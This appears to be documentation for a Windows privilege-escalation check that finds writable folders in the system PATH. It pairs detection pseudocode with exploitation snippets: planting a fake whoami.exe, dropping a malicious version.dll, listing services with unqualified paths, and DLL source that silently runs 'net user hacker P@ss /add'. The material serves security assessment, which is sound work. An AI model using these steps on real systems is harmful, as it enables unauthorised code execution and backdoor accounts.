The Hijackable Paths check identifies folders in the system PATH environment variable that have weak permissions allowing non-privileged users to write files. This creates a DLL hijacking and executable planting opportunity, as Windows searches PATH folders when loading DLLs or executing programs without full paths.
If you can write to a folder in the system PATH, you can potentially execute code when any user runs a command that triggers a search in that PATH location.
// Pseudocodestring path = Registry.GetValue("HKLM\\...\\Environment", "Path");string[] folders = path.Split(';');foreach (string folder in folders) { if (CheckModifiableAccess(folder)) { // User can write to this PATH folder ReportVulnerability(folder); }}
# If C:\CustomTools is in PATH and writable# Create malicious executable with common nameecho "malicious payload" > C:\CustomTools\whoami.exe# When any user runs "whoami" without full path:whoami# Windows searches PATH and may find your malicious version first
# Place malicious DLL in writable PATH folderCopy-Item C:\temp\malicious.dll C:\CustomTools\version.dll# When applications load version.dll without full path:# Windows searches PATH folders and loads your malicious DLL
# Find services that might execute PATH-based commandsGet-WmiObject Win32_Service | Where-Object { $_.PathName -notmatch "C:\\Windows" -and $_.PathName -notmatch '"'}# If service tries to execute something without full path,# place malicious version in writable PATH folder
# Windows DLL search order (with SafeDllSearchMode enabled):# 1. Directory where application loaded from# 2. System directory (C:\Windows\System32)# 3. 16-bit system directory (C:\Windows\System)# 4. Windows directory (C:\Windows)# 5. Current directory# 6. Directories in PATH variable# If step 6 has writable folder, you can place malicious DLLs there# Example: Create malicious version.dll$code = @"#include <windows.h>BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { // Malicious payload WinExec("cmd.exe /c net user hacker P@ss /add", SW_HIDE); } return TRUE;}"@# Compile and place in writable PATH folder# When any application tries to load version.dll, your code runs